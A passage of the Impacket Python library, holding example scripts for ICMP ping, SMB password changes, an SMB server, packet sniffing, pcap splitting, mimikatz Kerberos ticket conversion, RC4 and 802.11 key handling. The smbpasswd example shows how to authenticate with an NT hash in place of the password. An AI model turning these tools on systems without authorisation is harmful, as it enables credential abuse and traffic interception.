slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple ICMP ping. 12 | # 13 | # This implementation of ping uses the ICMP echo and echo-reply packets 14 | # to check the status of a host. If the remote host is up, it should reply 15 | # to the echo probe with an echo-reply packet. 16 | # Note that this isn't a definite test, as in the case the remote host is up 17 | # but refuses to reply the probes. 18 | # Also note that the user must have special access to be able to open a raw 19 | # socket, which this program requires. 20 | # 21 | # Authors: 22 | # Gerardo Richarte (@gerasdf) 23 | # Javier Kohen 24 | # 25 | # Reference for: 26 | # ImpactPacket: IP, ICMP, DATA 27 | # ImpactDecoder 28 | # 29 | 30 | import select 31 | import socket 32 | import time 33 | import sys 34 | 35 | from impacket import ImpactDecoder, ImpactPacket 36 | 37 | if len(sys.argv) < 3: 38 | print("Use: %s " % sys.argv[0]) 39 | sys.exit(1) 40 | 41 | src = sys.argv[1] 42 | dst = sys.argv[2] 43 | 44 | # Create a new IP packet and set its source and destination addresses. 45 | 46 | ip = ImpactPacket.IP() 47 | ip.set_ip_src(src) 48 | ip.set_ip_dst(dst) 49 | 50 | # Create a new ICMP packet of type ECHO. 51 | 52 | icmp = ImpactPacket.ICMP() 53 | icmp.set_icmp_type(icmp.ICMP_ECHO) 54 | 55 | # Include a 156-character long payload inside the ICMP packet. 56 | icmp.contains(ImpactPacket.Data(b"A"*156)) 57 | 58 | # Have the IP packet contain the ICMP packet (along with its payload). 59 | ip.contains(icmp) 60 | 61 | # Open a raw socket. Special permissions are usually required. 62 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) 63 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 64 | 65 | seq_id = 0 66 | while 1: 67 | # Give the ICMP packet the next ID in the sequence. 68 | seq_id += 1 69 | icmp.set_icmp_id(seq_id) 70 | 71 | # Calculate its checksum. 72 | icmp.set_icmp_cksum(0) 73 | icmp.auto_checksum = 1 74 | 75 | # Send it to the target host. 76 | s.sendto(ip.get_packet(), (dst, 0)) 77 | 78 | # Wait for incoming replies. 79 | if s in select.select([s], [], [], 1)[0]: 80 | reply = s.recvfrom(2000)[0] 81 | 82 | # Use ImpactDecoder to reconstruct the packet hierarchy. 83 | rip = ImpactDecoder.IPDecoder().decode(reply) 84 | # Extract the ICMP packet from its container (the IP packet). 85 | ricmp = rip.child() 86 | 87 | # If the packet matches, report it to the user. 88 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): 89 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id()) 90 | 91 | time.sleep(1) 92 | -------------------------------------------------------------------------------- /examples/ping6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple ICMP6 ping. 12 | # 13 | # This implementation of ping uses the ICMP echo and echo-reply packets 14 | # to check the status of a host. If the remote host is up, it should reply 15 | # to the echo probe with an echo-reply packet. 16 | # Note that this isn't a definite test, as in the case the remote host is up 17 | # but refuses to reply the probes. 18 | # Also note that the user must have special access to be able to open a raw 19 | # socket, which this program requires. 20 | # 21 | # Authors: 22 | # Alberto Solino (@agsolino) 23 | # 24 | # Reference for: 25 | # ImpactPacket: ICMP6 26 | # ImpactDecoder 27 | # 28 | 29 | import select 30 | import socket 31 | import time 32 | import sys 33 | 34 | from impacket import ImpactDecoder, IP6, ICMP6, version 35 | 36 | print(version.BANNER) 37 | 38 | if len(sys.argv) < 3: 39 | print("Use: %s " % sys.argv[0]) 40 | sys.exit(1) 41 | 42 | src = sys.argv[1] 43 | dst = sys.argv[2] 44 | 45 | # Create a new IP packet and set its source and destination addresses. 46 | 47 | ip = IP6.IP6() 48 | ip.set_ip_src(src) 49 | ip.set_ip_dst(dst) 50 | ip.set_traffic_class(0) 51 | ip.set_flow_label(0) 52 | ip.set_hop_limit(64) 53 | 54 | # Open a raw socket. Special permissions are usually required. 55 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) 56 | 57 | payload = b"A"*156 58 | 59 | print("PING %s %d data bytes" % (dst, len(payload))) 60 | seq_id = 0 61 | while 1: 62 | # Give the ICMP packet the next ID in the sequence. 63 | seq_id += 1 64 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) 65 | 66 | # Have the IP packet contain the ICMP packet (along with its payload). 67 | ip.contains(icmp) 68 | ip.set_next_header(ip.child().get_ip_protocol_number()) 69 | ip.set_payload_length(ip.child().get_size()) 70 | icmp.calculate_checksum() 71 | 72 | # Send it to the target host. 73 | s.sendto(icmp.get_packet(), (dst, 0)) 74 | 75 | # Wait for incoming replies. 76 | if s in select.select([s], [], [], 1)[0]: 77 | reply = s.recvfrom(2000)[0] 78 | 79 | # Use ImpactDecoder to reconstruct the packet hierarchy. 80 | rip = ImpactDecoder.ICMP6Decoder().decode(reply) 81 | 82 | # If the packet matches, report it to the user. 83 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): 84 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number())) 85 | 86 | time.sleep(1) 87 | -------------------------------------------------------------------------------- /examples/smbpasswd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script is an alternative to smbpasswd tool and intended to be used 12 | # for changing expired passwords remotely over SMB (MSRPC-SAMR). 13 | # 14 | # Examples: 15 | # smbpasswd.py j.doe@PC01.megacorp.local 16 | # smbpasswd.py j.doe:'Passw0rd!'@10.10.13.37 -newpass 'N3wPassw0rd!' 17 | # smbpasswd.py -hashes :fc525c9683e8fe067095ba2ddc971889 j.doe@10.10.13.37 -newpass 'N3wPassw0rd!' 18 | # 19 | # Author: 20 | # Sam Freeside (@snovvcrash) 21 | # 22 | # References: 23 | # - https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html 24 | # - https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c 25 | # - https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 26 | # 27 | 28 | import sys 29 | from getpass import getpass 30 | from argparse import ArgumentParser 31 | 32 | from impacket.dcerpc.v5 import transport, samr 33 | from impacket import version 34 | 35 | 36 | class SMBPasswd: 37 | 38 | def __init__(self, userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target): 39 | self.userName = userName 40 | self.oldPwd = oldPwd 41 | self.newPwd = newPwd 42 | self.oldPwdHashLM = oldPwdHashLM 43 | self.oldPwdHashNT = oldPwdHashNT 44 | self.target = target 45 | self.dce = None 46 | 47 | try: 48 | self.connect() 49 | except Exception as e: 50 | if 'STATUS_ACCESS_DENIED' in str(e): 51 | print('[-] Access was denied when attempting to initialize a null session. Try changing the password with smbclient.py.') 52 | else: 53 | raise e 54 | 55 | def connect(self): 56 | rpctransport = transport.SMBTransport(self.target, filename=r'\samr') 57 | if hasattr(rpctransport, 'set_credentials'): 58 | # Initializing a null session to be able to change an expired password 59 | rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='') 60 | 61 | self.dce = rpctransport.get_dce_rpc() 62 | self.dce.connect() 63 | self.dce.bind(samr.MSRPC_UUID_SAMR) 64 | 65 | def hSamrUnicodeChangePasswordUser2(self): 66 | try: 67 | resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.userName, self.oldPwd, self.newPwd, self.oldPwdHashLM, self.oldPwdHashNT) 68 | except Exception as e: 69 | if 'STATUS_WRONG_PASSWORD' in str(e): 70 | print('[-] Current SMB password is not correct.') 71 | elif 'STATUS_PASSWORD_RESTRICTION' in str(e): 72 | print('[-] Some password update rule has been violated. For example, the password may not meet length criteria.') 73 | else: 74 | raise e 75 | else: 76 | if resp['ErrorCode'] == 0: 77 | print('[+] Password was changed successfully.') 78 | else: 79 | print('[?] Non-zero return code, something weird happened.') 80 | resp.dump() 81 | 82 | 83 | def normalize_args(args): 84 | try: 85 | credentials, target = args.target.rsplit('@', 1) 86 | except ValueError: 87 | print('Wrong target string format. For more information run with --help option.') 88 | sys.exit(1) 89 | 90 | if args.hashes is not None: 91 | try: 92 | oldPwdHashLM, oldPwdHashNT = args.hashes.split(':') 93 | except ValueError: 94 | print('Wrong hashes string format. For more information run with --help option.') 95 | sys.exit(1) 96 | else: 97 | oldPwdHashLM = '' 98 | oldPwdHashNT = '' 99 | 100 | try: 101 | userName, oldPwd = credentials.split(':', 1) 102 | except ValueError: 103 | userName = credentials 104 | if oldPwdHashNT == '': 105 | oldPwd = getpass('Current SMB password: ') 106 | else: 107 | oldPwd = '' 108 | 109 | if args.newpass is None: 110 | newPwd = getpass('New SMB password: ') 111 | if newPwd != getpass('Retype new SMB password: '): 112 | print('Password does not match, try again.') 113 | sys.exit(1) 114 | else: 115 | newPwd = args.newpass 116 | 117 | return (userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target) 118 | 119 | 120 | if __name__ == '__main__': 121 | print (version.BANNER) 122 | 123 | parser = ArgumentParser(description='Change password over SMB.') 124 | parser.add_argument('target', action='store', help='@') 125 | parser.add_argument('-newpass', action='store', default=None, help='new SMB password') 126 | group = parser.add_argument_group('authentication') 127 | group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='current NTLM hashes, format is LMHASH:NTHASH') 128 | args = parser.parse_args() 129 | 130 | userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target = normalize_args(args) 131 | 132 | smbpasswd = SMBPasswd(userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target) 133 | smbpasswd.hSamrUnicodeChangePasswordUser2() 134 | -------------------------------------------------------------------------------- /examples/smbserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple SMB Server example. 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | 17 | import sys 18 | import argparse 19 | import logging 20 | 21 | from impacket.examples import logger 22 | from impacket import smbserver, version 23 | from impacket.ntlm import compute_lmhash, compute_nthash 24 | 25 | if __name__ == '__main__': 26 | 27 | # Init the example's logger theme 28 | print(version.BANNER) 29 | 30 | parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a " 31 | "share specified as an argument. You need to be root in order to bind to port 445. " 32 | "For optional authentication, it is possible to specify username and password or the NTLM hash. " 33 | "Example: smbserver.py -comment 'My share' TMP /tmp") 34 | 35 | parser.add_argument('shareName', action='store', help='name of the share to add') 36 | parser.add_argument('sharePath', action='store', help='path of the share to add') 37 | parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares') 38 | parser.add_argument('-username', action="store", help='Username to authenticate clients') 39 | parser.add_argument('-password', action="store", help='Password for the Username') 40 | parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH') 41 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') 42 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 43 | parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') 44 | parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') 45 | parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') 46 | 47 | if len(sys.argv)==1: 48 | parser.print_help() 49 | sys.exit(1) 50 | 51 | try: 52 | options = parser.parse_args() 53 | except Exception as e: 54 | logging.critical(str(e)) 55 | sys.exit(1) 56 | 57 | logger.init(options.ts) 58 | 59 | if options.debug is True: 60 | logging.getLogger().setLevel(logging.DEBUG) 61 | # Print the Library's installation path 62 | logging.debug(version.getInstallationPath()) 63 | else: 64 | logging.getLogger().setLevel(logging.INFO) 65 | 66 | if options.comment is None: 67 | comment = '' 68 | else: 69 | comment = options.comment 70 | 71 | server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port)) 72 | 73 | server.addShare(options.shareName.upper(), options.sharePath, comment) 74 | server.setSMB2Support(options.smb2support) 75 | 76 | # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous 77 | # connections will be allowed 78 | if options.username is not None: 79 | # we either need a password or hashes, if not, ask 80 | if options.password is None and options.hashes is None: 81 | from getpass import getpass 82 | password = getpass("Password:") 83 | # Let's convert to hashes 84 | lmhash = compute_lmhash(password) 85 | nthash = compute_nthash(password) 86 | elif options.password is not None: 87 | lmhash = compute_lmhash(options.password) 88 | nthash = compute_nthash(options.password) 89 | else: 90 | lmhash, nthash = options.hashes.split(':') 91 | 92 | server.addCredential(options.username, 0, lmhash, nthash) 93 | 94 | # Here you can set a custom SMB challenge in hex format 95 | # If empty defaults to '4141414141414141' 96 | # (remember: must be 16 hex bytes long) 97 | # e.g. server.setSMBChallenge('12345678abcdef00') 98 | server.setSMBChallenge('') 99 | 100 | # If you don't want log to stdout, comment the following line 101 | # If you want log dumped to a file, enter the filename 102 | server.setLogFile('') 103 | 104 | # Rock and roll 105 | server.start() 106 | -------------------------------------------------------------------------------- /examples/sniff.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple packet sniffer. 12 | # 13 | # This packet sniffer uses the pcap library to listen for packets in 14 | # transit over the specified interface. The returned packages can be 15 | # filtered according to a BPF filter (see tcpdump(3) for further 16 | # information on BPF filters). 17 | # 18 | # Note that the user might need special permissions to be able to use pcap. 19 | # 20 | # Authors: 21 | # Maximiliano Caceres 22 | # Javier Kohen 23 | # 24 | # Reference for: 25 | # pcapy: findalldevs, open_live 26 | # ImpactDecoder 27 | # 28 | 29 | import sys 30 | from threading import Thread 31 | import pcapy 32 | from pcapy import findalldevs, open_live 33 | 34 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 35 | 36 | 37 | class DecoderThread(Thread): 38 | def __init__(self, pcapObj): 39 | # Query the type of the link and instantiate a decoder accordingly. 40 | datalink = pcapObj.datalink() 41 | if pcapy.DLT_EN10MB == datalink: 42 | self.decoder = EthDecoder() 43 | elif pcapy.DLT_LINUX_SLL == datalink: 44 | self.decoder = LinuxSLLDecoder() 45 | else: 46 | raise Exception("Datalink type not supported: " % datalink) 47 | 48 | self.pcap = pcapObj 49 | Thread.__init__(self) 50 | 51 | def run(self): 52 | # Sniff ad infinitum. 53 | # PacketHandler shall be invoked by pcap for every packet. 54 | self.pcap.loop(0, self.packetHandler) 55 | 56 | def packetHandler(self, hdr, data): 57 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 58 | # of ImpactPacket instances. 59 | # Display the packet in human-readable form. 60 | print(self.decoder.decode(data)) 61 | 62 | 63 | def getInterface(): 64 | # Grab a list of interfaces that pcap is able to listen on. 65 | # The current user will be able to listen from all returned interfaces, 66 | # using open_live to open them. 67 | ifs = findalldevs() 68 | 69 | # No interfaces available, abort. 70 | if 0 == len(ifs): 71 | print("You don't have enough permissions to open any interface on this system.") 72 | sys.exit(1) 73 | 74 | # Only one interface available, use it. 75 | elif 1 == len(ifs): 76 | print('Only one interface present, defaulting to it.') 77 | return ifs[0] 78 | 79 | # Ask the user to choose an interface from the list. 80 | count = 0 81 | for iface in ifs: 82 | print('%i - %s' % (count, iface)) 83 | count += 1 84 | idx = int(input('Please select an interface: ')) 85 | 86 | return ifs[idx] 87 | 88 | def main(filter): 89 | dev = getInterface() 90 | 91 | # Open interface for catpuring. 92 | p = open_live(dev, 1500, 0, 100) 93 | 94 | # Set the BPF filter. See tcpdump(3). 95 | p.setfilter(filter) 96 | 97 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())) 98 | 99 | # Start sniffing thread and finish main thread. 100 | DecoderThread(p).start() 101 | 102 | # Process command-line arguments. Take everything as a BPF filter to pass 103 | # onto pcap. Default to the empty filter (match all). 104 | filter = '' 105 | if len(sys.argv) > 1: 106 | filter = ' '.join(sys.argv[1:]) 107 | 108 | main(filter) 109 | -------------------------------------------------------------------------------- /examples/sniffer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple packet sniffer. 12 | # 13 | # This packet sniffer uses a raw socket to listen for packets 14 | # in transit corresponding to the specified protocols. 15 | # 16 | # Note that the user might need special permissions to be able to use 17 | # raw sockets. 18 | # 19 | # Authors: 20 | # Gerardo Richarte (@gerasdf) 21 | # Javier Kohen 22 | # 23 | # Reference for: 24 | # ImpactDecoder 25 | # 26 | 27 | from select import select 28 | import socket 29 | import sys 30 | 31 | from impacket import ImpactDecoder 32 | 33 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp') 34 | 35 | if len(sys.argv) == 1: 36 | toListen = DEFAULT_PROTOCOLS 37 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0]) 38 | else: 39 | toListen = sys.argv[1:] 40 | 41 | # Open one socket for each specified protocol. 42 | # A special option is set on the socket so that IP headers are included with 43 | # the returned data. 44 | sockets = [] 45 | for protocol in toListen: 46 | try: 47 | protocol_num = socket.getprotobyname(protocol) 48 | except socket.error: 49 | print("Ignoring unknown protocol:", protocol) 50 | toListen.remove(protocol) 51 | continue 52 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num) 53 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 54 | sockets.append(s) 55 | 56 | if 0 == len(toListen): 57 | print("There are no protocols available.") 58 | sys.exit(0) 59 | 60 | print("Listening on protocols:", toListen) 61 | 62 | # Instantiate an IP packets decoder. 63 | # As all the packets include their IP header, that decoder only is enough. 64 | decoder = ImpactDecoder.IPDecoder() 65 | 66 | while len(sockets) > 0: 67 | # Wait for an incoming packet on any socket. 68 | ready = select(sockets, [], [])[0] 69 | for s in ready: 70 | packet = s.recvfrom(4096)[0] 71 | if 0 == len(packet): 72 | # Socket remotely closed. Discard it. 73 | sockets.remove(s) 74 | s.close() 75 | else: 76 | # Packet received. Decode and display it. 77 | packet = decoder.decode(packet) 78 | print(packet) 79 | -------------------------------------------------------------------------------- /examples/split.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Pcap dump splitter 12 | # 13 | # This tools splits pcap capture files into smaller ones, one for each 14 | # different TCP/IP connection found in the original. 15 | # 16 | # Authors: 17 | # Alejandro D. Weil 18 | # Javier Kohen 19 | # 20 | # Reference for: 21 | # pcapy: open_offline, pcapdumper 22 | # ImpactDecoder 23 | # 24 | 25 | from __future__ import division 26 | from __future__ import print_function 27 | import sys 28 | import pcapy 29 | from pcapy import open_offline 30 | 31 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder 32 | 33 | 34 | class Connection: 35 | """This class can be used as a key in a dictionary to select a connection 36 | given a pair of peers. Two connections are considered the same if both 37 | peers are equal, despite the order in which they were passed to the 38 | class constructor. 39 | """ 40 | 41 | def __init__(self, p1, p2): 42 | """This constructor takes two tuples, one for each peer. The first 43 | element in each tuple is the IP address as a string, and the 44 | second is the port as an integer. 45 | """ 46 | 47 | self.p1 = p1 48 | self.p2 = p2 49 | 50 | def getFilename(self): 51 | """Utility function that returns a filename composed by the IP 52 | addresses and ports of both peers. 53 | """ 54 | return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1]) 55 | 56 | def __cmp__(self, other): 57 | if ((self.p1 == other.p1 and self.p2 == other.p2) 58 | or (self.p1 == other.p2 and self.p2 == other.p1)): 59 | return 0 60 | else: 61 | return -1 62 | 63 | def __hash__(self): 64 | return (hash(self.p1[0]) ^ hash(self.p1[1]) 65 | ^ hash(self.p2[0]) ^ hash(self.p2[1])) 66 | 67 | 68 | class Decoder: 69 | def __init__(self, pcapObj): 70 | # Query the type of the link and instantiate a decoder accordingly. 71 | datalink = pcapObj.datalink() 72 | if pcapy.DLT_EN10MB == datalink: 73 | self.decoder = EthDecoder() 74 | elif pcapy.DLT_LINUX_SLL == datalink: 75 | self.decoder = LinuxSLLDecoder() 76 | else: 77 | raise Exception("Datalink type not supported: " % datalink) 78 | 79 | self.pcap = pcapObj 80 | self.connections = {} 81 | 82 | def start(self): 83 | # Sniff ad infinitum. 84 | # PacketHandler shall be invoked by pcap for every packet. 85 | self.pcap.loop(0, self.packetHandler) 86 | 87 | def packetHandler(self, hdr, data): 88 | """Handles an incoming pcap packet. This method only knows how 89 | to recognize TCP/IP connections. 90 | Be sure that only TCP packets are passed onto this handler (or 91 | fix the code to ignore the others). 92 | 93 | Setting r"ip proto \tcp" as part of the pcap filter expression 94 | suffices, and there shouldn't be any problem combining that with 95 | other expressions. 96 | """ 97 | 98 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy 99 | # of ImpactPacket instances. 100 | p = self.decoder.decode(data) 101 | ip = p.child() 102 | tcp = ip.child() 103 | 104 | # Build a distinctive key for this pair of peers. 105 | src = (ip.get_ip_src(), tcp.get_th_sport() ) 106 | dst = (ip.get_ip_dst(), tcp.get_th_dport() ) 107 | con = Connection(src,dst) 108 | 109 | # If there isn't an entry associated yetwith this connection, 110 | # open a new pcapdumper and create an association. 111 | if ('%s%s' % (con.p1, con.p2)) not in self.connections: 112 | fn = con.getFilename() 113 | print("Found a new connection, storing into:", fn) 114 | try: 115 | dumper = self.pcap.dump_open(fn) 116 | except pcapy.PcapError: 117 | print("Can't write packet to:", fn) 118 | return 119 | self.connections['%s%s' % (con.p1, con.p2)] = dumper 120 | 121 | # Write the packet to the corresponding file. 122 | self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data) 123 | 124 | 125 | 126 | def main(filename): 127 | # Open file 128 | p = open_offline(filename) 129 | 130 | # At the moment the callback only accepts TCP/IP packets. 131 | p.setfilter(r'ip proto \tcp') 132 | 133 | print("Reading from %s: linktype=%d" % (filename, p.datalink())) 134 | 135 | # Start decoding process. 136 | Decoder(p).start() 137 | 138 | 139 | # Process command-line arguments. 140 | if __name__ == '__main__': 141 | if len(sys.argv) <= 1: 142 | print("Usage: %s " % sys.argv[0]) 143 | sys.exit(1) 144 | 145 | main(sys.argv[1]) 146 | -------------------------------------------------------------------------------- /examples/ticketConverter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will convert kirbi files (commonly used by mimikatz) into ccache files used by impacket, 12 | # and vice versa. 13 | # 14 | # Examples: 15 | # ./ticket_converter.py admin.ccache admin.kirbi 16 | # ./ticket_converter.py admin.kirbi admin.ccache 17 | # 18 | # Author: 19 | # Zer1t0 (https://github.com/Zer1t0) 20 | # 21 | # References: 22 | # - https://tools.ietf.org/html/rfc4120 23 | # - http://web.mit.edu/KERBEROS/krb5-devel/doc/formats/ccache_file_format.html 24 | # - https://github.com/gentilkiwi/kekeo 25 | # - https://github.com/rvazarkar/KrbCredExport 26 | # 27 | 28 | import argparse 29 | import struct 30 | 31 | from impacket import version 32 | from impacket.krb5.ccache import CCache 33 | 34 | 35 | def parse_args(): 36 | parser = argparse.ArgumentParser() 37 | parser.add_argument('input_file', help="File in kirbi (KRB-CRED) or ccache format") 38 | parser.add_argument('output_file', help="Output file") 39 | return parser.parse_args() 40 | 41 | 42 | def main(): 43 | print(version.BANNER) 44 | 45 | args = parse_args() 46 | 47 | if is_kirbi_file(args.input_file): 48 | print('[*] converting kirbi to ccache...') 49 | convert_kirbi_to_ccache(args.input_file, args.output_file) 50 | print('[+] done') 51 | elif is_ccache_file(args.input_file): 52 | print('[*] converting ccache to kirbi...') 53 | convert_ccache_to_kirbi(args.input_file, args.output_file) 54 | print('[+] done') 55 | else: 56 | print('[X] unknown file format') 57 | 58 | 59 | def is_kirbi_file(filename): 60 | with open(filename, 'rb') as fi: 61 | fileid = struct.unpack(">B", fi.read(1))[0] 62 | return fileid == 0x76 63 | 64 | 65 | def is_ccache_file(filename): 66 | with open(filename, 'rb') as fi: 67 | fileid = struct.unpack(">B", fi.read(1))[0] 68 | return fileid == 0x5 69 | 70 | 71 | def convert_kirbi_to_ccache(input_filename, output_filename): 72 | ccache = CCache.loadKirbiFile(input_filename) 73 | ccache.saveFile(output_filename) 74 | 75 | 76 | def convert_ccache_to_kirbi(input_filename, output_filename): 77 | ccache = CCache.loadFile(input_filename) 78 | ccache.saveKirbiFile(output_filename) 79 | 80 | 81 | if __name__ == '__main__': 82 | main() 83 | -------------------------------------------------------------------------------- /impacket/Dot11Crypto.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IEEE 802.11 Network packet codecs. 11 | # 12 | # Author: 13 | # Gustavo Moreira 14 | # 15 | 16 | class RC4(): 17 | def __init__(self, key): 18 | bkey = bytearray(key) 19 | j = 0 20 | self.state = bytearray(range(256)) 21 | for i in range(256): 22 | j = (j + self.state[i] + bkey[i % len(key)]) & 0xff 23 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 24 | 25 | def encrypt(self, data): 26 | i = j = 0 27 | out=bytearray() 28 | for char in bytearray(data): 29 | i = (i+1) & 0xff 30 | j = (j+self.state[i]) & 0xff 31 | self.state[i],self.state[j] = self.state[j],self.state[i] # SSWAP(i,j) 32 | out.append(char ^ self.state[(self.state[i] + self.state[j]) & 0xff]) 33 | 34 | return bytes(out) 35 | 36 | def decrypt(self, data): 37 | # It's symmetric 38 | return self.encrypt(data) 39 | -------------------------------------------------------------------------------- /impacket/Dot11KeyManager.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Description: 10 | # IEEE 802.11 Network packet codecs. 11 | # 12 | # Author: 13 | # Gustavo Moreira 14 | 15 | from array import array 16 | class KeyManager: 17 | def __init__(self): 18 | self.keys = {} 19 | 20 | def __get_bssid_hasheable_type(self, bssid): 21 | # List is an unhashable type 22 | if not isinstance(bssid, (list,tuple,array)): 23 | raise Exception('BSSID datatype must be a tuple, list or array') 24 | return tuple(bssid) 25 | 26 | def add_key(self, bssid, key): 27 | bssid=self.__get_bssid_hasheable_type(bssid) 28 | if bssid not in self.keys: 29 | self.keys[bssid] = key 30 | return True 31 | else: 32 | return False 33 | 34 | def replace_key(self, bssid, key): 35 | bssid=self.__get_bssid_hasheable_type(bssid) 36 | self.keys[bssid] = key 37 | 38 | return True 39 | 40 | def get_key(self, bssid): 41 | bssid=self.__get_bssid_hasheable_type(bssid) 42 | if bssid in self.keys: 43 | return self.keys[bssid] 44 | else: 45 | return False 46 | 47 | def delete_key(self, bssid): 48 | bssid=self.__get_bssid_hasheable_type(bssid) 49 | if not isinstance(bssid, list): 50 | raise Exception('BSSID datatype must be a list') 51 | 52 | if bssid in self.keys: 53 | del self.keys[bssid] 54 | return True 55 | 56 | return False 57 | -------------------------------------------------------------------------------- /impacket/__init__.py: -------------------------------------------------------------------------------- 1 | # Impacket - Collection of Python classes for working with network protocols. 2 | # 3 | # SECUREAUTH LABS. Copyright (C) 2016 SecureAuth Corporation. All rights reserved. 4 | # 5 | # This software is provided under a slightly modified version 6 | # of the Apache Software License. See the accompanying LICENSE file 7 | # for more information. 8 | # 9 | # Author: 10 | # Alberto Solino (@agsolino) 11 | # 12 | 13 | # Set default logging handler to avoid "No handler found" warnings. 14 | import logging 15 | try: # Python 2.7+ 16 | from logging import NullHandler 17 | except ImportError: 18 | class 